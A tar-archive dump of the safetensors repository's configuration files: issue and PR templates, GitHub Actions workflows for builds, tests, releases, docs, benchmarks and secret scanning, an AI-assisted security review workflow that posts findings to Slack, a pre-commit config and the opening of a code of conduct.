pax_global_header 0000666 0000000 0000000 00000000064 15211744761 0014522 g ustar 00root root 0000000 0000000 52 comment=a406ca3e7a90598be0cd05a50069cb9bf5ef6ba6
safetensors-safetensors-a406ca3/ 0000775 0000000 0000000 00000000000 15211744761 0017013 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/.dockerignore 0000664 0000000 0000000 00000000100 15211744761 0021456 0 ustar 00root root 0000000 0000000 safetensors/target
bindings/python/target
Dockerfile.s390x.test
safetensors-safetensors-a406ca3/.github/ 0000775 0000000 0000000 00000000000 15211744761 0020353 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/.github/CODEOWNERS 0000664 0000000 0000000 00000000140 15211744761 0021741 0 ustar 00root root 0000000 0000000 # CODEOWNERS file for safetensors repository
# Global owners for all files
* @danieldk @McPatate safetensors-safetensors-a406ca3/.github/ISSUE_TEMPLATE/ 0000775 0000000 0000000 00000000000 15211744761 0022536 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/.github/ISSUE_TEMPLATE/bug-report.yml 0000664 0000000 0000000 00000010167 15211744761 0025354 0 ustar 00root root 0000000 0000000 name: "\U0001F41B Bug Report"
description: Submit a bug report to help us improve safetensors
body:
- type: textarea
id: system-info
attributes:
label: System Info
description: Please share your system info with us. You can run the command `transformers-cli env` and copy-paste its output below.
placeholder: safetensors version, platform, python version, ...
validations:
required: true
# - type: textarea
# id: who-can-help
# attributes:
# label: Who can help?
# description: |
# Your issue will be replied to more quickly if you can figure out the right person to tag with @
# If you know how to use git blame, that is the easiest way, otherwise, here is a rough guide of **who to tag**.
#
# All issues are read by one of the core maintainers, so if you don't know who to tag, just leave this blank and
# a core maintainer will ping the right person.
#
# Please tag fewer than 3 people.
#
# Models:
# - text models: @ArthurZucker and @younesbelkada
# - vision models: @amyeroberts
# - speech models: @sanchit-gandhi
# - graph models: @clefourrier
#
# Library:
#
# - flax: @sanchit-gandhi
# - generate: @gante
# - pipelines: @Narsil
# - tensorflow: @gante and @Rocketknight1
# - tokenizers: @ArthurZucker
# - trainer: @sgugger
#
# Integrations:
#
# - deepspeed: HF Trainer: @stas00, Accelerate: @pacman100
# - ray/raytune: @richardliaw, @amogkam
# - Big Model Inference: @sgugger @muellerzr
#
# Documentation: @sgugger, @stevhliu and @MKhalusova
#
# Model hub:
# - for issues with a model, report at https://discuss.huggingface.co/ and tag the model's creator.
#
# HF projects:
#
# - accelerate: [different repo](https://github.com/huggingface/accelerate)
# - datasets: [different repo](https://github.com/huggingface/datasets)
# - diffusers: [different repo](https://github.com/huggingface/diffusers)
# - rust tokenizers: [different repo](https://github.com/huggingface/tokenizers)
#
# Maintained examples (not research project or legacy):
#
# - Flax: @sanchit-gandhi
# - PyTorch: @sgugger
# - TensorFlow: @Rocketknight1
# Research projects are not maintained and should be taken as is.
# placeholder: "@Username ..."
- type: checkboxes
id: information-scripts-examples
attributes:
label: Information
description: 'The problem arises when using:'
options:
- label: "The official example scripts"
- label: "My own modified scripts"
- type: textarea
id: reproduction
validations:
required: true
attributes:
label: Reproduction
description: |
Please provide a code sample that reproduces the problem you ran into. It can be a Colab link or just a code snippet.
If you have code snippets, error messages, stack traces please provide them here as well.
Important! Use code tags to correctly format your code. See https://help.github.com/en/github/writing-on-github/creating-and-highlighting-code-blocks#syntax-highlighting
Do not use screenshots, as they are hard to read and (more importantly) don't allow others to copy-and-paste your code.
placeholder: |
Steps to reproduce the behavior:
1.
2.
3.
- type: textarea
id: expected-behavior
validations:
required: true
attributes:
label: Expected behavior
description: "A clear and concise description of what you would expect to happen."
safetensors-safetensors-a406ca3/.github/ISSUE_TEMPLATE/config.yml 0000664 0000000 0000000 00000000050 15211744761 0024521 0 ustar 00root root 0000000 0000000 blank_issues_enabled: true
version: 2.1
safetensors-safetensors-a406ca3/.github/ISSUE_TEMPLATE/feature-request.yml 0000664 0000000 0000000 00000002112 15211744761 0026376 0 ustar 00root root 0000000 0000000 name: "\U0001F680 Feature request"
description: Submit a proposal/request for a new safetensors feature
labels: [ "feature" ]
body:
- type: textarea
id: feature-request
validations:
required: true
attributes:
label: Feature request
description: |
A clear and concise description of the feature proposal. Please provide a link to the paper and code in case they exist.
- type: textarea
id: motivation
validations:
required: true
attributes:
label: Motivation
description: |
Please outline the motivation for the proposal. Is your feature request related to a problem? e.g., I'm always frustrated when [...]. If this is related to another GitHub issue, please link here too.
- type: textarea
id: contribution
validations:
required: true
attributes:
label: Your contribution
description: |
Is there any way that you could help, e.g. by submitting a PR? Make sure to read the CONTRIBUTING.MD [readme](https://github.com/huggingface/safetensors/blob/main/CONTRIBUTING.md)
safetensors-safetensors-a406ca3/.github/PULL_REQUEST_TEMPLATE.md 0000664 0000000 0000000 00000002575 15211744761 0024165 0 ustar 00root root 0000000 0000000 # What does this PR do?
Fixes # (issue) or description of the problem this PR solves.
## AI model use
We do accept PRs that were developed together with an AI model, but we ask
that you to fill out this section.
- [ ] No AI model was used when making this PR.
- [ ] An AI model assisted me in developing this PR.
- [ ] Development of this PR was done by an AI model.
If you ticked one of the last two options, please state the model and model
version that you used:
If you ticked the last option, please list the prompt(s) that you used:
safetensors-safetensors-a406ca3/.github/stale.yml 0000664 0000000 0000000 00000001254 15211744761 0022210 0 ustar 00root root 0000000 0000000 # Number of days of inactivity before an issue becomes stale
daysUntilStale: 60
# Number of days of inactivity before a stale issue is closed
daysUntilClose: 7
# Issues with these labels will never be considered stale
exemptLabels:
- pinned
- security
# Label to use when marking an issue as stale
staleLabel: wontfix
# Comment to post when marking an issue as stale. Set to `false` to disable
markComment: >
This issue has been automatically marked as stale because it has not had
recent activity. It will be closed if no further activity occurs. Thank you
for your contributions.
# Comment to post when closing a stale issue. Set to `false` to disable
closeComment: false
safetensors-safetensors-a406ca3/.github/workflows/ 0000775 0000000 0000000 00000000000 15211744761 0022410 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/.github/workflows/build_documentation.yml 0000664 0000000 0000000 00000001151 15211744761 0027161 0 ustar 00root root 0000000 0000000 name: Build documentation
on:
push:
branches:
- main
- doc-builder*
- v*-release
- use_templates
jobs:
build:
uses: huggingface/doc-builder/.github/workflows/build_main_documentation.yml@2430c1ec91d04667414e2fa31ecfc36c153ea391 # main
with:
commit_sha: ${{ github.sha }}
package: safetensors
notebook_folder: safetensors_doc
package_path: safetensors/bindings/python/
version_tag_suffix: bindings/python/py_src/
install_rust: true
secrets:
token: ${{ secrets.HUGGINGFACE_PUSH }}
hf_token: ${{ secrets.HF_DOC_BUILD_PUSH }}
safetensors-safetensors-a406ca3/.github/workflows/build_pr_documentation.yml 0000664 0000000 0000000 00000001264 15211744761 0027667 0 ustar 00root root 0000000 0000000 name: Build PR Documentation
on:
pull_request:
paths:
- "docs/**"
- "bindings/python/py_src/**"
- ".github/workflows/build_pr_documentation.yml"
concurrency:
group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
cancel-in-progress: true
jobs:
build:
uses: huggingface/doc-builder/.github/workflows/build_pr_documentation.yml@2430c1ec91d04667414e2fa31ecfc36c153ea391 # main
with:
commit_sha: ${{ github.event.pull_request.head.sha }}
pr_number: ${{ github.event.number }}
package: safetensors
package_path: safetensors/bindings/python/
version_tag_suffix: bindings/python/py_src/
install_rust: true
safetensors-safetensors-a406ca3/.github/workflows/delete_doc_comment.yml 0000664 0000000 0000000 00000000514 15211744761 0026744 0 ustar 00root root 0000000 0000000 name: Delete doc comment
on:
workflow_run:
workflows: ["Delete doc comment trigger"]
types:
- completed
jobs:
delete:
uses: huggingface/doc-builder/.github/workflows/delete_doc_comment.yml@2430c1ec91d04667414e2fa31ecfc36c153ea391 # main
secrets:
comment_bot_token: ${{ secrets.COMMENT_BOT_TOKEN }} safetensors-safetensors-a406ca3/.github/workflows/delete_doc_comment_trigger.yml 0000664 0000000 0000000 00000000426 15211744761 0030471 0 ustar 00root root 0000000 0000000 name: Delete doc comment trigger
on:
pull_request:
types: [ closed ]
jobs:
delete:
uses: huggingface/doc-builder/.github/workflows/delete_doc_comment_trigger.yml@2430c1ec91d04667414e2fa31ecfc36c153ea391 # main
with:
pr_number: ${{ github.event.number }} safetensors-safetensors-a406ca3/.github/workflows/python-bench.yml 0000664 0000000 0000000 00000004120 15211744761 0025526 0 ustar 00root root 0000000 0000000 name: Simple benchmarks
on:
push:
branches:
- main
pull_request:
permissions:
# deployments permission to deploy GitHub pages website
deployments: write
# contents permission to update benchmark contents in gh-pages branch
contents: write
jobs:
benchmark:
name: Performance regression check
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Install Rust
uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable
with:
components: rustfmt, clippy
- name: Install Python
uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: "3.12"
architecture: "x64"
- name: Install
working-directory: ./bindings/python
run: |
pip install -U pip uv
uv sync --frozen --extra dev
- name: Run tests
working-directory: ./bindings/python
run: |
cargo test
uv run --frozen pytest --benchmark-json output.json benches/
# Download previous benchmark result from cache (if exists)
- name: Download previous benchmark data
uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5
with:
path: ./cache
key: ${{ runner.os }}-benchmark
# Run `github-action-benchmark` action
- name: Store benchmark result
uses: benchmark-action/github-action-benchmark@a60cea5bc7b49e15c1f58f411161f99e0df48372 # v1
with:
# What benchmark tool the output.txt came from
tool: 'pytest'
# Where the output from the benchmark tool is stored
output-file-path: ./bindings/python/output.json
github-token: ${{ secrets.GITHUB_TOKEN }}
# Push and deploy GitHub pages branch automatically
auto-push: ${{ github.event.pull_request.head.repo.fork == false }}
comment-on-alert: true
# Mention @rhysd in the commit comment
alert-comment-cc-users: '@danieldk,@McPatate'
safetensors-safetensors-a406ca3/.github/workflows/python-release.yml 0000664 0000000 0000000 00000014466 15211744761 0026105 0 ustar 00root root 0000000 0000000 # This file is autogenerated by maturin v1.7.4
# To update, run
#
# maturin generate-ci github -m bindings/python/Cargo.toml
#
name: CI
on:
push:
branches:
- main
- master
tags:
- '*'
pull_request:
workflow_dispatch:
permissions:
contents: read
jobs:
linux:
runs-on: ${{ matrix.platform.runner }}
strategy:
matrix:
platform:
- runner: ubuntu-latest
arch: x86_64
target: x86_64-unknown-linux-gnu
- runner: ubuntu-latest
arch: x86
target: i686-unknown-linux-gnu
- runner: ubuntu-latest
arch: aarch64
target: aarch64-unknown-linux-gnu
- runner: ubuntu-latest
arch: armv7
target: armv7-unknown-linux-gnueabihf
- runner: ubuntu-latest
arch: s390x
target: s390x-unknown-linux-gnu
- runner: ubuntu-latest
arch: ppc64le
target: powerpc64le-unknown-linux-gnu
- runner: ubuntu-latest
arch: riscv64
target: riscv64gc-unknown-linux-gnu
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: 3.x
- name: Build wheels
uses: PyO3/maturin-action@04ac600d27cdf7a9a280dadf7147097c42b757ad # v1
with:
target: ${{ matrix.platform.target }}
args: --release --out dist --manifest-path bindings/python/Cargo.toml
sccache: 'true'
manylinux: auto
- name: Upload wheels
uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f # v6
with:
name: wheels-linux-${{ matrix.platform.arch }}
path: dist
musllinux:
runs-on: ${{ matrix.platform.runner }}
strategy:
matrix:
platform:
- runner: ubuntu-latest
target: x86_64
- runner: ubuntu-latest
target: x86
- runner: ubuntu-latest
target: aarch64
- runner: ubuntu-latest
target: armv7
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: 3.x
- name: Build wheels
uses: PyO3/maturin-action@04ac600d27cdf7a9a280dadf7147097c42b757ad # v1
with:
target: ${{ matrix.platform.target }}
args: --release --out dist --manifest-path bindings/python/Cargo.toml
sccache: 'true'
manylinux: musllinux_1_2
- name: Upload wheels
uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f # v6
with:
name: wheels-musllinux-${{ matrix.platform.target }}
path: dist
windows:
runs-on: ${{ matrix.platform.runner }}
strategy:
matrix:
platform:
- runner: windows-latest
target: x64
- runner: windows-latest
target: x86
- runner: windows-11-arm
target: arm64
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: 3.x
architecture: ${{ matrix.platform.target }}
- name: Build wheels
uses: PyO3/maturin-action@04ac600d27cdf7a9a280dadf7147097c42b757ad # v1
with:
target: ${{ matrix.platform.target == 'arm64' && 'aarch64-pc-windows-msvc' || matrix.platform.target }}
args: --release --out dist --manifest-path bindings/python/Cargo.toml
sccache: 'true'
- name: Upload wheels
uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f # v6
with:
name: wheels-windows-${{ matrix.platform.target }}
path: dist
macos:
runs-on: ${{ matrix.platform.runner }}
strategy:
matrix:
platform:
- runner: macos-15-intel
target: x86_64
- runner: macos-14
target: aarch64
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: 3.x
- name: Build wheels
uses: PyO3/maturin-action@04ac600d27cdf7a9a280dadf7147097c42b757ad # v1
with:
target: ${{ matrix.platform.target }}
args: --release --out dist --manifest-path bindings/python/Cargo.toml
sccache: 'true'
- name: Upload wheels
uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f # v6
with:
name: wheels-macos-${{ matrix.platform.target }}
path: dist
sdist:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Build sdist
uses: PyO3/maturin-action@04ac600d27cdf7a9a280dadf7147097c42b757ad # v1
with:
command: sdist
args: --out dist --manifest-path bindings/python/Cargo.toml
- name: Upload sdist
uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f # v6
with:
name: wheels-sdist
path: dist
release:
name: Release
runs-on: ubuntu-latest
if: ${{ startsWith(github.ref, 'refs/tags/') || github.event_name == 'workflow_dispatch' }}
needs: [linux, musllinux, windows, macos, sdist]
permissions:
# Use to sign the release artifacts
id-token: write
# Used to upload release artifacts
contents: write
# Used to generate artifact attestation
attestations: write
steps:
- uses: actions/download-artifact@37930b1c2abaa49bbe596cd826c3c89aef350131 # v7
- name: Generate artifact attestation
uses: actions/attest-build-provenance@977bb373ede98d70efdf65b84cb5f73e068dcc2a # v3
with:
subject-path: 'wheels-*/*'
- name: Publish to PyPI
if: "startsWith(github.ref, 'refs/tags/')"
uses: PyO3/maturin-action@04ac600d27cdf7a9a280dadf7147097c42b757ad # v1
with:
command: upload
args: --non-interactive --skip-existing wheels-*/*
safetensors-safetensors-a406ca3/.github/workflows/python.yml 0000664 0000000 0000000 00000015375 15211744761 0024467 0 ustar 00root root 0000000 0000000 name: Python
on:
pull_request:
jobs:
build_and_test:
name: Check everything builds & tests
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
# Lowest and highest, no version specified so that
# new releases get automatically tested against
version: [
{torch: torch==2.4, python: "3.10", arch: "x64", numpy: numpy==1.26.4},
{torch: torch, python: "3.13", arch: "x64", numpy: numpy}
]
include:
- os: ubuntu-latest
version:
torch: torch
python: "3.14"
numpy: numpy
- os: ubuntu-latest
version:
torch: torch
python: "3.14"
numpy: numpy
arch: "x64-freethreaded"
- os: macos-15-intel
version:
torch: torch
numpy: "numpy==1.26"
python: "3.10"
arch: "x64"
- os: macos-latest
version:
torch: torch
python: "3.13"
numpy: numpy
arch: "arm64"
- os: windows-11-arm
version:
torch: torch
python: "3.13"
numpy: numpy
arch: "arm64"
defaults:
run:
working-directory: ./bindings/python
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Install Rust
uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable
with:
components: rustfmt, clippy
- name: Cargo install audit
run: cargo install cargo-audit
- uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
with:
workspaces: "bindings/python"
- name: Install Python
uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: ${{ matrix.version.python }}
architecture: ${{ matrix.version.arch }}
- name: Lint with RustFmt
run: cargo fmt -- --check
- name: Lint with Clippy
run: cargo clippy --all-targets --all-features -- -D warnings
- name: Run Audit
run: cargo audit -D warnings
- name: Install (torch)
if: matrix.os != 'windows-11-arm'
run: |
pip install ${{ matrix.version.numpy }}
pip install ${{ matrix.version.torch }}
shell: bash
- name: Install (torch windows arm64)
if: matrix.os == 'windows-11-arm'
run: |
pip install ${{ matrix.version.numpy }}
pip install ${{ matrix.version.torch }} --index-url https://download.pytorch.org/whl/cpu
shell: bash
- name: Install (hdf5 non windows)
if: matrix.os == 'ubuntu-latest'
run: |
sudo apt-get update
sudo apt-get install libhdf5-dev
- name: Install (tensorflow)
if: matrix.version.arch != 'x64-freethreaded' && matrix.os != 'windows-11-arm'
run: |
pip install ".[${{ matrix.version.python == '3.14' && 'tf-nightly' || 'tensorflow' }}]"
# XXX: I assume this is still the case for 3.10
# Force reinstall of numpy, tensorflow uses numpy 2 even on 3.9
pip install ${{ matrix.version.numpy }}
shell: bash
- name: Install (jax, flax)
if: runner.os != 'Windows'
run:
pip install .[jax]
shell: bash
- name: Install (mlx)
if: matrix.os == 'macos-latest'
run: |
pip install .[mlx]
shell: bash
- name: Check style
run: |
pip install .[quality]
ruff format --check .
- name: Run tests
if: matrix.version.arch != 'x64-freethreaded' && matrix.os != 'windows-11-arm'
run: |
cargo test
pip install ".[testing]"
pytest -sv tests/
- name: Run tests (Windows arm64)
if: matrix.os == 'windows-11-arm'
run: |
cargo test
pip install ".[testing]"
pytest -sv tests/ --ignore=tests/test_tf_comparison.py
- name: Run tests (freethreaded)
if: matrix.version.arch == 'x64-freethreaded'
run: |
cargo test
pip install --extra-index-url https://pypi.anaconda.org/scientific-python-nightly-wheels/simple ".[testing]"
# importing msgpack._cmsgpack re-enables the GIL, so force-disable
# until msgpack declares support
PYTHON_GIL=0 pytest -sv tests/ --ignore=tests/test_tf_comparison.py
test_s390x_big_endian:
runs-on: ubuntu-latest
permissions:
packages: write
name: Test bigendian - S390X
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Set up QEMU
uses: docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130 # v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3
- name: Can push to GHCR?
id: canpush
shell: bash
run: |
echo "value=${{ github.event.pull_request.head.repo.fork == false }}" >> "$GITHUB_OUTPUT"
- name: Docker meta
id: meta
uses: docker/metadata-action@c299e40c65443455700f0fdfc63efafe5b349051 # v5
with:
# list of Docker images to use as base name for tags
images: |
ghcr.io/safetensors/safetensors/s390x
# generate Docker tags based on the following events/attributes
tags: |
type=schedule
type=ref,event=branch
type=ref,event=pr
type=semver,pattern={{version}}
type=semver,pattern={{major}}.{{minor}}
type=semver,pattern={{major}}
type=sha
- name: Login to Registry
if: steps.canpush.outputs.value == 'true'
uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Test big endian
uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6
with:
platforms: linux/s390x
file: Dockerfile.s390x.test
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: ${{ steps.canpush.outputs.value == 'true' && 'type=registry,ref=ghcr.io/safetensors/safetensors/s390x:cache,mode=max' || 'type=gha' }}
cache-to: ${{ steps.canpush.outputs.value == 'true' && 'type=registry,ref=ghcr.io/safetensors/safetensors/s390x:cache,mode=max' || 'type=gha' }}
push: ${{ steps.canpush.outputs.value == 'true' }}
safetensors-safetensors-a406ca3/.github/workflows/rust-release.yml 0000664 0000000 0000000 00000001675 15211744761 0025557 0 ustar 00root root 0000000 0000000 name: Rust Release
on:
push:
tags:
- v*
jobs:
rust_publish:
runs-on: ubuntu-latest
environment: release
permissions:
id-token: write
steps:
- name: Checkout repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable
- name: Cache Cargo Registry
uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5
with:
path: ~/.cargo/registry
key: ubuntu-latest-cargo-registry-${{ hashFiles('**/Cargo.toml') }}
- uses: rust-lang/crates-io-auth-action@bbd81622f20ce9e2dd9622e3218b975523e45bbe # v1
id: auth
- name: Publish package rust
if: ${{ !contains(github.ref, 'rc') }}
working-directory: ./safetensors
run: cargo publish
env:
CARGO_REGISTRY_TOKEN: ${{ steps.auth.outputs.token }}
safetensors-safetensors-a406ca3/.github/workflows/rust.yml 0000664 0000000 0000000 00000002361 15211744761 0024132 0 ustar 00root root 0000000 0000000 name: Rust
on:
pull_request:
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macOS-latest]
toolchain: [stable]
include:
- os: ubuntu-latest
toolchain: "1.74"
defaults:
run:
working-directory: ./safetensors
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Install Rust Stable
uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable
with:
components: rustfmt, clippy, llvm-tools-preview
override: true
- uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
- name: Install cargo-audit
run: cargo install cargo-audit
- name: Build
run: cargo build --all-targets --verbose
- name: Lint with Clippy
run: cargo clippy --all-targets -- -D warnings
- name: Run Tests
run: cargo test --verbose
- name: Run No-STD Tests
run: cargo test --no-default-features --verbose
- name: Run Audit
# RUSTSEC-2021-0145 is criterion so only within benchmarks
run: cargo audit -D warnings --ignore RUSTSEC-2021-0145
safetensors-safetensors-a406ca3/.github/workflows/security-audit.yml 0000664 0000000 0000000 00000011222 15211744761 0026104 0 ustar 00root root 0000000 0000000 name: Security Audit
on:
push:
branches: [main]
jobs:
security-audit:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
fetch-depth: 0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: '20'
- name: Install Claude Code
run: npm install -g @anthropic-ai/claude-code
- name: Generate diff
run: git diff ${{ github.event.before }}...${{ github.sha }} > /tmp/changes.diff
- name: Run security audit
id: audit
env:
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
{
cat <<'PROMPT'
You are a senior security engineer performing a penetration-test-style review of a
change that just landed on the main branch of the safetensors project — a Rust library
with Python bindings for safely storing and loading ML model tensors. The library parses
untrusted input (user-provided .safetensors files), so treat the attack surface
accordingly.
The diff of the change follows below. You also have access to the full repository —
explore it when the diff alone is not sufficient to assess impact (e.g. to check whether
a removed guard is relied upon elsewhere, or to understand the data flow around a
changed function).
Think like an attacker. Consider the full serialization pipeline end-to-end: check
whether an attacker could use the legitimate write/serialization API to craft a
.safetensors file that exploits or confuses downstream readers, scanners, or tooling.
If the write path accepts something dangerous, every reader inherits that risk.
Focus on:
- Memory safety: buffer overflows, use-after-free, out-of-bounds reads/writes, unsafe blocks
- Integer overflows/underflows in size or offset calculations
- Input validation: malformed headers, oversized allocations, type confusion
- Write-to-read pipeline: can the serialization API produce files with payloads (e.g.
in tensor names, metadata keys/values, or shape/dtype fields) that would be
misinterpreted, truncated, or weaponized by readers or downstream tools?
- Path traversal or injection via tensor names / metadata
- CI/CD security: workflow permissions, secret exposure, unpinned actions, script injection
- Supply chain: dependency changes, lockfile manipulation
- Denial of service: algorithmic complexity, resource exhaustion
- Information disclosure
For each finding, assess exploitability — not just theoretical presence.
If you find security issues, output your report formatted for Slack using mrkdwn syntax.
Use this structure:
*[SEVERITY]* `file:lines` — Title
Description of the vulnerability and how it could be exploited.
_Suggestion:_ How to fix.
Separate multiple findings with blank lines. Be concise but specific.
If no security issues are found, output exactly: NO_FINDINGS
=== DIFF ===
PROMPT
cat /tmp/changes.diff
} | claude -p --model claude-opus-4-6 > /tmp/audit_result.txt
if grep -q "NO_FINDINGS" /tmp/audit_result.txt; then
echo "has_findings=false" >> "$GITHUB_OUTPUT"
echo "Security audit complete — no findings."
else
echo "has_findings=true" >> "$GITHUB_OUTPUT"
echo "Security audit complete — findings detected, notifying Slack."
fi
- name: Notify Slack
if: steps.audit.outputs.has_findings == 'true'
env:
SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }}
COMMIT_URL: ${{ github.event.head_commit.url }}
COMMIT_MESSAGE: ${{ github.event.head_commit.message }}
COMMIT_AUTHOR: ${{ github.event.head_commit.author.username || github.event.head_commit.author.name }}
run: |
FINDINGS=$(cat /tmp/audit_result.txt)
COMMIT_TITLE=$(printf '%s\n' "$COMMIT_MESSAGE" | head -n1)
printf -v HEADER '*Security Audit Finding*\n*Commit:* <%s|%s>\n*Author:* %s\n\n---\n\n' \
"$COMMIT_URL" "$COMMIT_TITLE" "$COMMIT_AUTHOR"
jq -n \
--arg text "${HEADER}${FINDINGS}" \
'{"text": $text}' > /tmp/slack_payload.json
curl -sf -X POST "$SLACK_WEBHOOK_URL" \
-H 'Content-Type: application/json' \
-d @/tmp/slack_payload.json
safetensors-safetensors-a406ca3/.github/workflows/stale.yml 0000664 0000000 0000000 00000000703 15211744761 0024243 0 ustar 00root root 0000000 0000000 name: 'Close stale issues and PRs'
on:
schedule:
- cron: '30 1 * * *'
jobs:
stale:
runs-on: ubuntu-latest
steps:
- uses: actions/stale@b5d41d4e1d5dceea10e7104786b73624c18a190f # v10
with:
stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days.'
days-before-stale: 30
days-before-close: 5
safetensors-safetensors-a406ca3/.github/workflows/trufflehog.yml 0000664 0000000 0000000 00000000631 15211744761 0025300 0 ustar 00root root 0000000 0000000 on:
push:
name: Secret Leaks
jobs:
trufflehog:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
fetch-depth: 0
- name: Secret Scanning
uses: trufflesecurity/trufflehog@6bd2d14f7a4bc1e569fa3550efa7ec632a4fa67b # main
with:
extra_args: --results=verified,unknown
safetensors-safetensors-a406ca3/.github/workflows/upload_pr_documentation.yml 0000664 0000000 0000000 00000000654 15211744761 0030056 0 ustar 00root root 0000000 0000000 name: Upload PR Documentation
on:
workflow_run:
workflows: ["Build PR Documentation"]
types:
- completed
jobs:
build:
uses: huggingface/doc-builder/.github/workflows/upload_pr_documentation.yml@2430c1ec91d04667414e2fa31ecfc36c153ea391 # main
with:
package_name: safetensors
secrets:
hf_token: ${{ secrets.HF_DOC_BUILD_PUSH }}
comment_bot_token: ${{ secrets.COMMENT_BOT_TOKEN }} safetensors-safetensors-a406ca3/.gitignore 0000664 0000000 0000000 00000000166 15211744761 0021006 0 ustar 00root root 0000000 0000000 target/
safetensors/**/Cargo.lock
bindings/python/Cargo.lock
*.bin
*.h5
*.msgpack
*.pt
*.pdparams
*.safetensors
*.npz
safetensors-safetensors-a406ca3/.pre-commit-config.yaml 0000664 0000000 0000000 00000002454 15211744761 0023301 0 ustar 00root root 0000000 0000000 repos:
- repo: https://github.com/Narsil/pre-commit-rust
rev: 0c016cee78144d06d906fccc7715d607a946ca5c
hooks:
- id: fmt
name: "Rust (fmt)"
args: ["--manifest-path", "safetensors/Cargo.toml", "--"]
- id: clippy
name: "Rust (clippy)"
args:
[
"--manifest-path",
"safetensors/Cargo.toml",
"--all-targets",
"--",
"-Dwarnings",
]
- repo: https://github.com/Narsil/pre-commit-rust
rev: 0c016cee78144d06d906fccc7715d607a946ca5c
hooks:
- id: fmt
name: "Python (fmt)"
args: ["--manifest-path", "bindings/python/Cargo.toml", "--"]
- id: clippy
name: "Python (clippy)"
args:
[
"--manifest-path",
"bindings/python/Cargo.toml",
"--all-targets",
"--",
"-Dwarnings",
]
- repo: https://github.com/astral-sh/ruff-pre-commit
# Ruff version.
rev: v0.12.8
hooks:
# Run the linter.
- id: ruff-check
# Run the formatter.
- id: ruff-format
- repo: https://github.com/astral-sh/ruff-pre-commit
# Ruff version.
rev: v0.11.11
hooks:
# Run the linter.
- id: ruff-check
# Run the formatter.
- id: ruff-format
safetensors-safetensors-a406ca3/CODE_OF_CONDUCT.md 0000664 0000000 0000000 00000012561 15211744761 0021617 0 ustar 00root root 0000000 0000000
# Contributor Covenant Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, caste, color, religion, or sexual
identity and orientation.
